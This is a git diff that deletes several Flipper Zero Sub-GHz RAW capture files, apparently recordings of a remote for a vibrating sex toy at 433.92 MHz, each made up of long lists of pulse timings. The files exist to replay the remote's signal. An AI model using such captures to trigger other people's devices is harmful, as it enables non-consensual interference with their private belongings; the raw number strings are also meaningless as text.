2889 -166 163 -100 1185 -66 663 -134 731 -66 7079 -66 365 -100 365 -68 923 -100 329 -66 1907 -100 1451 -66 261 -64 821 -132 4849 -98 695 -98 801 -98 267 -132 3485 -100 1087 -132 993 -100 2355 -132 1589 -98 327 -100 1841 -66 329 -266 165 -100 399 -198 3317 -132 2875 -98 919 -166 4511 -132 335 -66 1455 -134 927 -66 535 -66 397 -134 1295 -98 5761 -66 365 -132 4089 -68 663 -166 165 -98 2413 -66 599 -66 597 -98 65 -132 1545 -66 801 -132 1551 -66 2543 -100 4563 -66 961 -200 1259 -68 1491 -66 6129 -68 4623 -100 99 -68 133 -66 399 -66 295 -98 1451 -236 233 -66 299 -66 961 -266 297 -100 6597 -66 987 -132 1245 -66 163 -98 65 -132 1149 -98 261 -66 1225 -100 233 -228 921 -132 555 -66 2999 -132 97 -132 559 -98 6665 -66 785 -100 719 -66 2323 -132 1761 -166 4391 -98 687 -100 265 -134 163 -100 861 -100 5787 -398 3117 -68 1181 -66 3387 -132 1199 -66 99 -68 627 -66 231 -68 601 -66 165 -100 565 -134 1323 -100 465 -134 859 -134 2791 -168 1563 -130 165 -98 3205 -168 5613 -168 231 -66 1955 -98 235 -132 5201 -66 3747 -66 497 -102 65 -66 165 -166 2517 -66 927 -66 1583 -66 1595 -132 2495 -98 1033 -66 133 -200 363 -132 769 -66 4153 -66 1793 -98 2391 -232 397 -98 827 -134 561 -66 3693 -200 591 -66 1283 -98 3741 -100 531 -98 499 -100 895 -66 991 -98 2107 -98 129 -98 591 -98 557 -130 693 -66 231 -98 557 -98 1313 -66 133 -66 131 -66 891 -64 2793 -66 2011 -100 527 -68 363 -100 233 -100 699 -66 267 -132 1181 -64 2535 -100 4299 -98 1129 -66 297 -66 197 -100 1893 -66 567 -66 1263 -100 97 -100 3015 -296 3647 -68 465 -198 67 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_05_1.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_05_1.sub deleted file mode 100644 index 5cd7cec1e..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_05_1.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: -98 2145 -66 959 -66 3223 -132 363 -504 1313 -132 197 -66 2089 -66 2609 -66 887 -64 3593 -98 231 -66 1633 -100 931 -66 133 -66 961 -132 2731 -66 1877 -100 623 -98 131 -66 2943 -98 195 -100 233 -100 333 -66 1829 -66 1409 -130 2923 -98 1951 -66 299 -100 1563 -100 3349 -100 763 -132 2595 -66 1125 -100 2553 -100 8665 -66 3949 -66 6041 -66 9963 -98 493 -66 3791 -98 2849 -66 1613 -66 2579 -164 1277 -66 131 -98 5915 -164 1875 -66 1597 -102 399 -132 1859 -134 1659 -100 97 -198 729 -134 1425 -66 4187 -164 591 -66 891 -132 1159 -166 12947 -66 1955 -66 8003 -98 2047 -66 961 -100 689 -66 261 -132 2115 -132 1061 -132 1115 -198 531 -166 697 -66 2897 -64 1973 -130 327 -98 921 -98 1513 -66 2029 -130 395 -66 133 -98 763 -134 363 -66 1095 -66 2819 -134 499 -66 1397 -66 2817 -98 231 -66 1909 -132 163 -66 5155 -100 2325 -134 327 -98 427 -164 1983 -66 1329 -66 2309 -100 3427 -132 1813 -132 885 -66 819 -66 525 -66 365 -98 3653 -98 7913 -98 463 -66 197 -134 231 -100 2955 -66 989 -68 1689 -100 365 -68 4217 -98 657 -98 1087 -100 2307 -98 297 -98 1053 -98 921 -66 889 -98 1651 -98 927 -68 2121 -68 265 -68 895 -100 893 -66 5261 -66 299 -66 563 -68 563 -134 2059 -66 763 -66 4353 -68 2419 -166 603 -66 565 -132 1097 -66 5975 -66 2107 -100 9225 -100 265 -66 895 -98 2297 -98 3615 -166 1261 -68 2651 -100 2789 -98 1083 -98 2955 -66 2155 -68 199 -66 267 -66 697 -66 99 -66 985 -98 3909 -132 755 -66 5351 -66 4791 -68 2479 -100 2995 -196 5621 -66 10063 -198 233 -200 427 -68 4281 -100 393 -100 391 -100 1577 -134 497 -200 395 -100 5361 -66 5785 -66 2389 -132 2021 -66 393 -130 4547 -98 1657 -66 1349 -66 229 -98 10897 -98 1567 -132 2123 -132 729 -66 1261 -100 133 -98 795 -298 2905 -98 3557 -100 331 -66 295 -166 4145 -66 3091 -98 633 -66 1929 -68 1423 -100 3593 -66 2457 -166 2391 -98 1799 -100 3731 -66 1427 -66 1755 -100 99 -100 1497 -66 333 -100 11959 -66 633 -66 797 -66 599 -98 363 -98 233 -100 1585 -854 415 -852 425 -838 419 -846 439 -846 417 -856 379 -850 451 -838 1707 -400 437 -418 415 -418 417 -434 425 -442 381 -450 427 -826 415 -450 423 -418 409 -422 443 -384 445 -422 409 -876 409 -438 417 -416 415 -410 439 -842 429 -852 447 -418 413 -852 415 -438 433 -844 421 -396 439 -842 427 -428 409 -844 427 -848 415 -856 425 -840 449 -842 413 -844 425 -852 409 -840 441 -846 413 -844 1707 -458 383 -418 413 -RAW_Data: -414 435 -500 365 -422 411 -420 427 -856 411 -416 421 -834 165 -432 417 -418 439 -410 455 -824 419 -418 441 -428 417 -416 415 -856 239 -72 109 -852 413 -386 445 -844 405 -424 447 -876 379 -426 411 -842 425 -412 449 -844 439 -814 447 -852 417 -848 409 -864 419 -846 405 -846 449 -818 423 -838 447 -844 1699 -418 303 -518 445 -382 451 -392 343 -516 413 -452 411 -850 411 -420 433 -852 381 -450 427 -442 419 -414 409 -858 447 -414 425 -508 337 -422 415 -856 429 -838 419 -418 441 -824 453 -382 445 -846 417 -400 449 -846 439 -388 449 -842 441 -814 449 -854 385 -874 441 -840 419 -846 441 -846 423 -854 413 -856 397 -896 1649 -426 443 -416 419 -426 411 -446 411 -420 427 -398 435 -846 131 -70 245 -412 429 -846 423 -416 413 -424 445 -412 419 -856 411 -416 451 -418 157 -64 187 -438 419 -838 413 -870 379 -452 423 -836 413 -452 403 -850 351 -506 401 -882 383 -442 411 -842 431 -946 341 -820 451 -940 341 -820 431 -854 131 -860 415 -872 67 -846 415 -838 199 -426 439 -380 437 -436 409 -414 447 -400 433 -410 447 -848 311 -538 417 -848 439 -388 447 -414 409 -454 409 -844 407 -440 417 -416 385 -448 457 -838 423 -854 413 -420 431 -958 299 -422 419 -852 425 -442 381 -870 411 -446 419 -830 447 -846 241 -822 449 -822 225 -830 441 -856 241 -830 439 -838 325 -946 413 -858 397 -442 417 -450 389 -418 431 -396 471 -512 319 -434 413 -850 441 -428 415 -848 413 -418 127 -422 417 -418 417 -854 423 -444 413 -416 419 -430 409 -842 425 -848 413 -442 409 -844 325 -66 449 -842 435 -388 447 -844 437 -390 345 -121310 67 -1762 199 -200 131 -632 97 -366 1683 -100 1863 -166 401 -66 3977 -164 887 -66 927 -98 325 -66 1521 -132 331 -66 4563 -66 395 -98 1477 -66 2245 -166 99 -98 3019 -66 1153 -66 1125 -66 2409 -66 5105 -100 4291 -64 459 -98 2073 -66 261 -98 2793 -66 1477 -66 523 -66 99 -66 4009 -134 1123 -64 6005 -66 563 -66 265 -132 3457 -166 3317 -98 955 -66 2267 -134 131 -68 5229 -66 2121 -100 595 -66 3377 -66 1585 -132 1213 -132 337 -66 1977 -66 1475 -100 491 -98 6251 -98 2473 -66 391 -100 195 -66 1639 -66 2167 -66 1609 -66 265 -66 295 -66 2125 -100 131 -100 2499 -230 9637 -134 199 -68 2889 -100 165 -134 629 -100 1455 -66 131 -68 3607 -100 231 -66 367 -66 3859 -66 1493 -134 2785 -100 1067 -100 199 -134 1325 -132 1291 -198 799 -66 4745 -68 3615 -68 1949 -98 769 -100 1097 -66 927 -98 1021 -98 2849 -132 1425 -RAW_Data: -132 361 -98 951 -100 2053 -98 1063 -132 7633 -100 501 -100 1287 -66 1459 -66 295 -66 461 -66 399 -68 959 -66 729 -66 9181 -68 7337 -66 1787 -66 823 -132 7965 -66 2909 -66 5041 -130 1935 -68 11333 -100 593 -66 1061 -64 1647 -132 4817 -66 929 -68 2795 -100 1451 -102 1255 -66 559 -66 897 -132 331 -100 631 -68 265 -100 1863 -132 2643 -100 1249 -64 2481 -66 99 -98 7935 -168 1191 -66 4957 -100 131 -132 3153 -66 199 -132 663 -66 231 -102 565 -66 2039 -66 1265 -100 1157 -100 459 -100 1089 -100 659 -66 425 -66 265 -64 1087 -132 1909 -66 849 -100 2625 -132 501 -166 1349 -66 97 -66 4227 -130 559 -66 199 -132 1151 -100 299 -66 99 -166 12751 -164 10541 -66 4153 -66 2421 -68 1285 -98 359 -64 367 -66 333 -132 1863 -98 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_05_2.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_05_2.sub deleted file mode 100644 index 9589939a8..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_05_2.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 3471 -196 621 -66 2709 -96 2415 -98 431 -436 2981 -132 129 -66 1345 -66 4931 -100 959 -66 655 -98 10445 -66 2403 -98 1277 -66 1951 -68 1725 -98 2305 -66 263 -66 2151 -64 3213 -132 1189 -130 1579 -66 829 -66 1725 -66 963 -232 4425 -66 367 -66 2359 -166 1023 -100 467 -66 133 -66 1027 -102 733 -100 633 -102 863 -100 2371 -98 231 -66 1415 -134 463 -98 2221 -68 795 -134 3677 -66 291 -196 6293 -66 797 -100 425 -66 359 -66 3157 -166 227 -98 1869 -66 327 -230 8803 -132 265 -98 1097 -166 1663 -134 165 -100 633 -66 661 -100 2051 -66 1051 -66 267 -100 231 -100 1025 -100 631 -68 99 -66 1949 -98 593 -68 2665 -98 1143 -68 3191 -130 259 -98 163 -66 5039 -100 2937 -198 1257 -66 1713 -132 3559 -98 2081 -164 2207 -64 2167 -66 3079 -100 133 -98 2255 -100 1925 -198 1459 -66 1193 -134 3619 -68 2223 -166 63 -132 2657 -200 3005 -96 1019 -98 2299 -66 2631 -98 3041 -166 99 -100 737 -100 933 -100 931 -132 499 -66 6673 -294 1349 -66 197 -100 2925 -164 3113 -68 3043 -100 399 -100 1193 -198 667 -66 265 -68 1951 -166 1879 -164 595 -134 331 -66 2519 -132 961 -98 165 -66 1117 -166 457 -66 2823 -200 601 -330 1691 -66 3057 -132 915 -66 2033 -66 1093 -166 3127 -100 1361 -132 3209 -66 433 -66 333 -68 493 -66 831 -132 8959 -130 2353 -132 757 -232 2345 -166 559 -200 1309 -296 2103 -66 1609 -98 395 -100 2873 -98 1895 -100 1185 -132 9153 -98 461 -298 531 -64 1079 -296 459 -66 995 -134 2221 -66 97 -100 1839 -102 4625 -66 787 -66 2411 -68 563 -132 1515 -100 427 -66 921 -98 951 -130 6229 -66 199 -100 497 -134 1923 -132 655 -164 1651 -100 957 -132 731 -66 1465 -264 131 -68 3549 -100 665 -66 165 -234 2857 -100 591 -132 1145 -66 3331 -66 1521 -100 1259 -66 3543 -66 231 -846 415 -860 411 -914 373 -850 387 -978 295 -852 449 -976 289 -864 1287 -66 319 -424 419 -440 427 -388 131 -70 245 -424 419 -428 395 -472 131 -822 417 -418 441 -842 417 -418 407 -456 255 -60 61 -462 425 -852 415 -416 415 -442 409 -418 415 -850 441 -844 423 -430 407 -844 423 -426 407 -878 399 -426 409 -878 401 -424 411 -876 293 -856 383 -870 131 -62 211 -860 415 -852 135 -844 415 -848 201 -68 137 -862 413 -854 455 -828 1571 -68 445 -388 445 -416 317 -510 433 -434 417 -416 387 -872 411 -448 415 -852 427 -410 415 -450 423 -818 421 -444 415 -440 63 -64 281 -402 439 -868 419 -414 411 -850 415 -416 207 -826 439 -420 415 -846 441 -418 417 -846 435 -386 -RAW_Data: 447 -842 269 -858 413 -866 289 -968 411 -850 417 -854 415 -844 429 -852 415 -856 425 -836 1699 -416 451 -418 411 -442 383 -446 421 -428 409 -416 443 -846 411 -418 417 -850 441 -420 417 -416 441 -828 417 -446 413 -418 345 -496 417 -848 449 -404 425 -840 453 -388 415 -864 417 -416 445 -846 411 -416 415 -848 131 -424 415 -846 439 -846 387 -868 413 -888 387 -872 409 -862 417 -846 401 -850 415 -852 423 -874 1665 -416 449 -426 399 -438 417 -416 417 -450 403 -424 445 -844 433 -388 443 -878 379 -424 409 -448 417 -858 413 -418 443 -418 395 -472 381 -850 435 -434 133 -68 211 -858 417 -418 409 -880 385 -448 409 -862 417 -418 409 -870 283 -70 419 -850 413 -844 423 -838 415 -854 423 -876 383 -852 439 -846 419 -870 383 -854 423 -874 1665 -448 305 -426 423 -442 383 -448 101 -430 433 -400 437 -848 419 -412 443 -846 199 -426 411 -448 411 -846 417 -416 445 -416 411 -444 415 -854 399 -438 353 -924 395 -436 415 -874 395 -436 413 -884 391 -436 415 -872 411 -410 445 -854 399 -858 419 -846 439 -814 451 -822 441 -856 395 -868 419 -846 437 -814 451 -820 1705 -440 415 -420 415 -420 437 -428 447 -384 451 -430 427 -838 417 -410 451 -838 413 -442 407 -434 409 -842 441 -410 439 -414 417 -442 415 -838 439 -410 415 -842 443 -410 415 -842 443 -410 447 -846 411 -410 447 -846 413 -412 443 -113364 165 -66 167 -66 131 -266 65 -66 131 -198 167 -134 99 -166 563 -100 2161 -66 3379 -66 561 -134 1391 -264 1127 -100 331 -232 1481 -66 657 -66 1773 -66 301 -66 633 -134 9285 -66 3147 -100 1853 -134 99 -66 1487 -66 99 -66 163 -64 1217 -98 1383 -66 329 -100 1945 -100 1169 -132 2693 -102 2581 -64 195 -64 1083 -98 67 -66 265 -232 659 -166 229 -98 4879 -66 1361 -100 3117 -98 2325 -130 65 -262 3821 -164 1651 -102 1595 -230 299 -100 1525 -66 3387 -66 3943 -68 2725 -66 4105 -66 949 -100 1937 -100 4721 -66 665 -100 2957 -64 2967 -64 1285 -68 2673 -68 3889 -98 1023 -66 1937 -66 365 -66 1161 -66 299 -100 97 -66 265 -66 1765 -100 2031 -66 729 -98 1795 -100 995 -164 1433 -134 4187 -132 199 -166 2649 -98 631 -100 1869 -66 1323 -68 197 -68 1195 -66 165 -66 3327 -164 3787 -98 267 -132 2311 -64 1775 -66 163 -232 723 -132 2333 -132 1647 -66 599 -66 599 -68 501 -100 4767 -100 785 -98 131 -66 97 -100 985 -100 1487 -166 4839 -100 2409 -100 101 -66 2503 -66 361 -296 1093 -100 1525 -132 11863 -66 1161 -132 921 -68 1027 -68 1677 -98 -RAW_Data: 491 -66 1329 -98 3267 -134 9375 -66 3921 -66 1459 -68 301 -134 3689 -66 1689 -130 3359 -66 3183 -132 2873 -132 359 -66 429 -66 959 -66 1355 -132 199 -134 4179 -100 333 -66 397 -66 963 -66 10561 -100 1163 -100 527 -66 521 -98 865 -100 357 -132 1265 -100 497 -100 131 -98 963 -66 1167 -98 2271 -68 1029 -100 2197 -66 3285 -66 333 -66 6783 -66 4713 -66 465 -66 3533 -66 2051 -98 4427 -100 1123 -66 5251 -100 1159 -68 633 -66 2723 -132 9965 -200 2817 -100 2303 -166 3445 -98 2465 -66 231 -298 863 -132 65 -200 163 -100 1419 -132 3443 -200 301 -66 2825 -164 2281 -66 299 -100 2697 -68 2001 -98 2087 -100 131 -66 297 -66 8953 -168 8043 -66 1149 -130 457 -68 4185 -66 431 -134 593 -132 1791 -66 2089 -66 4669 -132 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_05_3.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_05_3.sub deleted file mode 100644 index eb2c7b76c..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_05_3.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 6071 -100 5643 -98 1491 -68 563 -66 899 33 1447 -66 393 -66 1615 -98 1521 -66 333 -68 2085 -98 531 -66 7829 -66 6237 -98 233 -100 889 -98 823 -132 1181 -66 1057 -264 961 -130 491 -66 13623 -66 6119 -66 1485 -232 7161 -100 959 -132 5029 -130 2921 -132 4267 -200 7677 -100 4275 -98 1167 -98 6401 -66 1809 -66 527 -132 2423 -134 1159 -98 433 -66 435 -134 2123 -96 5299 -100 2289 -66 2985 -66 2409 -166 1023 -66 165 -132 2257 -134 1975 -98 3745 -66 2849 -66 3571 -100 2193 -132 1159 -66 3451 -100 497 -98 3889 -66 549 -842 375 -880 387 -906 383 -846 427 -870 383 -884 405 -846 427 -852 1703 -418 415 -450 401 -426 409 -448 411 -420 395 -470 383 -882 401 -432 419 -846 415 -432 395 -468 383 -870 411 -442 383 -450 431 -430 407 -846 423 -430 405 -876 399 -426 409 -876 399 -424 445 -844 397 -424 443 -846 401 -426 443 -844 397 -882 419 -854 381 -884 399 -862 417 -846 437 -848 387 -884 389 -874 379 -878 1675 -448 407 -426 407 -448 417 -428 399 -436 419 -414 419 -886 389 -442 383 -886 399 -434 417 -450 387 -852 423 -842 419 -452 411 -442 381 -882 399 -866 417 -848 429 -418 415 -848 441 -418 415 -848 441 -418 415 -846 439 -420 415 -846 435 -848 385 -886 387 -876 415 -858 413 -844 423 -854 381 -886 397 -864 415 -846 1689 -450 401 -424 409 -416 443 -420 397 -438 417 -448 423 -852 385 -444 417 -850 425 -442 383 -448 429 -858 381 -868 411 -450 423 -416 411 -848 417 -852 423 -876 385 -452 411 -840 417 -418 409 -888 383 -448 411 -852 413 -448 409 -860 417 -846 399 -850 415 -890 411 -854 397 -862 415 -848 403 -884 383 -886 387 -874 1691 -416 409 -438 419 -414 419 -444 407 -416 449 -422 411 -840 447 -416 411 -874 381 -446 411 -442 383 -886 397 -866 417 -420 437 -432 387 -876 415 -858 411 -844 427 -448 413 -846 385 -450 409 -852 415 -452 399 -850 415 -452 399 -850 417 -846 407 -848 413 -880 397 -854 415 -852 395 -894 385 -850 439 -848 423 -850 1675 -438 387 -444 417 -450 403 -424 441 -414 413 -422 413 -876 409 -420 423 -840 413 -448 411 -444 415 -836 413 -882 397 -432 417 -448 387 -852 427 -840 417 -848 439 -418 413 -850 439 -418 415 -846 439 -420 415 -848 399 -444 413 -844 403 -872 419 -856 381 -884 395 -868 417 -846 441 -848 419 -850 387 -872 409 -848 1703 -416 413 -424 441 -412 411 -422 421 -444 415 -410 425 -852 413 -442 407 -842 429 -428 407 -418 445 -842 411 -844 427 -424 443 -416 407 -870 417 -848 -RAW_Data: 433 -846 419 -400 433 -846 427 -428 409 -846 425 -412 445 -842 437 -418 415 -123318 65 -526 197 -230 97 -790 229 -98 655 -66 1457 -98 7207 -66 337 -100 1759 -132 67 -100 463 -132 501 -66 393 -166 4199 -64 591 -100 3229 -66 1065 -100 2435 -98 2575 -98 1161 -68 1363 -66 699 -66 299 -66 955 -66 263 -100 1819 -68 1055 -134 497 -100 1163 -132 2095 -132 4373 -66 1677 -100 4253 -166 5145 -66 3935 -98 2395 -100 1457 -132 329 -100 2801 -100 1957 -100 10335 -98 12875 -66 2255 -198 3339 -100 131 -66 791 -66 659 -198 823 -64 10243 -66 133 -102 1589 -98 531 -102 997 -100 297 -100 3221 -66 1129 -66 2647 -100 4655 -66 1209 -66 2635 -164 5803 -66 97 -100 1191 -100 3273 -100 1393 -132 1723 -100 263 -100 2525 -100 7129 -100 1117 -166 4559 -66 2439 -96 5535 -100 601 -68 731 -134 829 -100 165 -102 2405 -66 131 -68 1759 -100 4881 -68 697 -66 1477 -134 7237 -66 6821 -100 5053 -66 1775 -66 2199 -66 165 -98 2431 -66 7537 -66 2919 -100 333 -66 3713 -134 301 -66 1689 -166 5075 -66 13431 -100 927 -100 431 -132 957 -66 691 -130 3843 -64 1541 -66 603 -66 965 -132 161 -66 1277 -64 2179 -136 897 -100 265 -198 2481 -66 295 -98 789 -66 7463 -66 527 -198 4885 -168 331 -66 1557 -100 3617 -66 987 -164 1219 -66 787 -66 1615 -64 493 -64 2187 -66 863 -66 1427 -68 633 -66 3507 -98 2733 -98 2687 -100 4581 -98 1017 -18098 67 -2022 131 -600 65 -466 165 -266 97 -498 529 -100 1723 -66 1987 -232 165 -100 1653 -100 12483 -66 1065 -66 2315 -66 951 -66 1223 -132 1149 -98 3067 -66 927 -200 861 -66 863 -98 465 -166 399 -66 4145 -66 2103 -98 361 -66 2559 -134 4435 -98 757 -100 5381 -100 7173 -66 3149 -132 265 -166 1455 -66 3487 -100 3549 -66 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_05_4.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_05_4.sub deleted file mode 100644 index e03fae11a..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_05_4.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 797 -100 1527 -100 1093 -66 1691 892 12203 -98 2755 -66 4897 -132 1759 -66 6357 -134 789 -68 21953 -66 16583 -100 1135 -134 25045 -66 12231 -66 1429 -100 461 -98 4025 -66 665 -134 10009 -96 1721 -66 6391 -100 3635 -876 411 -846 419 -850 387 -876 413 -848 413 -846 425 -848 415 -868 1701 -420 415 -418 431 -426 407 -446 411 -420 423 -442 413 -854 399 -438 415 -848 417 -430 411 -444 415 -854 425 -840 417 -418 439 -432 419 -844 419 -856 411 -846 427 -416 447 -846 385 -452 409 -852 413 -452 399 -852 413 -444 429 -844 423 -852 387 -876 409 -848 447 -840 433 -846 383 -852 425 -874 387 -852 441 -844 1705 -388 419 -452 405 -424 445 -414 409 -454 379 -446 417 -854 429 -408 417 -848 435 -428 387 -876 411 -422 425 -412 415 -440 433 -846 423 -428 407 -414 445 -846 413 -416 417 -850 439 -418 415 -848 441 -418 415 -848 405 -452 417 -846 435 -812 417 -854 425 -842 417 -852 441 -846 387 -888 385 -876 411 -850 415 -846 1715 -420 427 -396 437 -416 445 -414 411 -446 413 -418 429 -852 387 -444 415 -852 409 -448 413 -852 427 -408 415 -452 423 -398 435 -842 427 -428 409 -418 443 -844 415 -418 415 -852 441 -416 417 -846 441 -420 415 -846 437 -388 445 -844 403 -852 413 -852 411 -838 453 -854 411 -846 425 -856 411 -856 395 -866 417 -848 1693 -410 421 -424 441 -414 413 -422 411 -448 415 -410 425 -868 419 -398 437 -844 423 -410 447 -842 431 -388 445 -416 409 -424 443 -846 417 -432 411 -446 413 -836 409 -446 417 -834 443 -420 427 -856 379 -450 427 -852 389 -446 413 -868 411 -852 395 -868 417 -848 441 -814 415 -854 421 -872 407 -866 419 -812 429 -848 1703 -420 417 -452 403 -426 409 -416 445 -416 395 -436 417 -850 449 -406 425 -838 419 -454 401 -862 413 -448 399 -432 415 -416 417 -852 411 -446 411 -440 427 -846 387 -434 435 -838 425 -428 405 -878 397 -424 443 -846 401 -424 445 -844 431 -838 423 -850 417 -846 409 -852 451 -842 397 -848 415 -886 387 -876 411 -852 1701 -396 435 -416 445 -420 425 -442 381 -450 393 -450 409 -850 415 -440 409 -874 399 -426 411 -876 403 -424 445 -414 409 -454 379 -874 409 -438 417 -416 417 -854 425 -440 381 -850 435 -434 417 -842 439 -410 417 -848 403 -458 417 -121350 97 -68 329 -334 165 -134 133 -132 101 -200 395 -66 327 -68 15057 -100 9643 -100 4299 -66 4351 -68 3239 -66 6135 -100 12461 -68 8455 -66 3223 -132 197 -166 24917 -66 1735 -66 2597 -98 20895 -100 8735 -100 8153 -66 3551 -68 5291 -66 -RAW_Data: 20001 -66 621 -66 6697 -66 3021 -66 18271 -66 989 -66 163 -66 853 -66 5223 -100 4745 -66 1785 -98 2423 -102 3885 -66 20219 -66 465 -66 9937 -66 3221 -66 1543 -98 897 -68 4671 -68 1559 -134 10025 -166 4609 -66 595 -134 4813 -66 1813 -66 163 -66 987 -64 32031 -68 1129 -66 1329 -132 5819 -100 5403 -66 30723 -64 3757 -66 29671 -66 1763 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_06_1.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_06_1.sub deleted file mode 100644 index 6e3da0215..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_06_1.sub +++ /dev/null @@ -1,17 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: -400 197 -432 131 -66 165 -66 627 -462 919 -198 99 -164 161 -428 99 -696 67 -164 465 -66 231 -198 363 -98 363 -230 293 -98 197 -132 263 -132 163 -132 97 -931 725 -98 131 -230 99 -98 99 -298 131 -692 163 -396 293 -360 197 -918 163 -562 99 -592 197 -100 99 -66 165 -266 99 -200 395 -200 363 -200 133 -598 199 -532 65 -66 231 -132 65 -66 99 -134 165 -198 133 -728 101 -134 99 -102 99 -164 331 -66 231 -66 133 -132 99 -430 133 -696 65 -830 331 -502 131 -66 199 -100 263 -530 231 -366 163 -234 163 -166 97 -132 561 -164 165 -166 167 -66 133 -100 231 -168 99 -98 131 -66 359 -100 263 -1148 65 -132 327 -230 197 -266 63 -100 97 -66 525 -66 197 -398 197 -498 131 -464 65 -366 233 -1794 263 -232 167 -68 99 -198 99 -1526 65 -132 99 -492 723 -66 725 -100 163 -456 263 -164 131 -656 65 -362 99 -230 129 -296 331 -366 163 -294 197 -328 199 -198 331 -100 165 -500 65 -234 99 -462 165 -330 231 -532 263 -1026 65 -266 165 -134 131 -362 131 -100 163 -132 99 -428 165 -1052 65 -98 131 -200 99 -1030 263 -232 325 -198 331 -794 329 -234 165 -68 199 -166 97 -364 65 -266 297 -730 165 -532 97 -732 99 -362 65 -132 97 -132 99 -398 397 -100 99 -200 363 -66 363 -398 65 -132 99 -66 133 -66 97 -200 97 -100 165 -632 131 -266 65 -200 231 -696 199 -196 65 -98 329 -66 361 -164 329 -426 327 -166 65 -198 163 -460 99 -460 363 -1250 231 -132 167 -166 133 -764 99 -268 233 -728 331 -662 329 -330 197 -166 65 -66 231 -232 163 -628 197 -164 133 -234 297 -68 199 -134 65 -168 67 -100 331 -598 65 -2084 195 -198 163 -132 527 -166 65 -198 65 -98 231 -100 233 -66 165 -432 99 -66 331 -132 299 -562 65 -132 227 -594 131 -100 97 -230 395 -132 263 -328 65 -100 131 -1320 197 -130 263 -560 65 -166 65 -66 725 -230 389 -492 129 -166 131 -66 163 -98 131 -266 99 -396 297 -132 199 -334 529 -232 131 -130 1393 -166 197 -132 459 -198 129 -66 559 -198 131 -66 65 -132 631 -298 233 -66 131 -100 231 -398 927 -594 163 -198 131 -132 97 -98 227 -394 197 -600 131 -396 299 -166 165 -862 163 -430 65 -134 131 -266 165 -132 331 -198 131 -100 165 -364 165 -532 65 -332 65 -200 99 -266 331 -98 133 -200 199 -500 163 -100 231 -364 197 -398 165 -134 201 -732 99 -100 97 -932 329 -592 99 -130 131 -130 65 -132 195 -460 63 -66 263 -66 227 -1052 63 -724 361 -RAW_Data: -164 131 -66 99 -460 131 -232 497 -264 99 -264 361 -228 97 -130 165 -196 295 -230 657 -266 265 -400 265 -100 399 -66 197 -66 367 -66 263 -200 99 -98 99 -232 465 -100 97 -68 97 -166 229 -362 231 -232 195 -66 295 -232 229 -98 591 -134 97 -168 99 -232 265 -132 65 -464 265 -132 65 -166 395 -100 2137 -100 299 -66 299 -168 165 -200 329 -100 1693 -66 491 -98 363 -64 2113 -164 195 -98 263 -98 229 -100 263 -198 295 -66 65 -98 229 -100 295 -100 789 -166 199 -98 433 -100 131 -234 229 -134 363 -328 231 -130 261 -264 133 -66 133 -98 433 -200 197 -100 1029 -396 2889 -298 129 -66 823 -98 2599 -66 197 -66 329 -428 261 -232 131 -164 359 -100 625 -132 163 -64 955 -66 231 -200 231 -100 233 -198 193 -98 329 -98 229 -98 429 -66 631 -364 497 -232 231 -66 329 -100 1125 -360 265 -98 397 -662 65 -332 627 -68 1757 -398 1757 -66 427 -66 331 -132 233 -66 1759 -132 527 -134 431 -66 1095 -98 67 -98 97 -66 197 -132 99 -298 297 -100 631 -100 497 -130 233 -134 465 -198 133 -232 463 -66 329 -198 731 -98 231 -66 663 -100 1293 -134 65 -66 595 -166 529 -266 197 -66 65 -298 295 -68 199 -132 199 -132 233 -98 397 -66 299 -132 297 -266 165 -100 133 -232 463 -66 165 -134 2971 -98 463 -132 531 -66 97 -66 263 -98 295 -98 297 -230 65 -100 595 -100 2411 -98 99 -66 1019 -100 365 -134 99 -100 1855 -134 231 -66 165 -830 133 -200 97 -266 465 -132 231 -66 697 -166 163 -326 65 -430 229 -264 397 -132 329 -198 97 -754 363 -200 65 -134 299 -100 97 -166 165 -136 167 -134 231 -196 199 -566 297 -134 267 -66 133 -100 131 -100 65 -430 131 -592 65 -68 131 -166 65 -166 197 -66 65 -232 397 -166 327 -166 561 -100 131 -66 587 -98 949 -98 757 -66 261 -432 197 -232 167 -66 65 -100 97 -530 65 -100 297 -66 265 -134 327 -166 359 -66 163 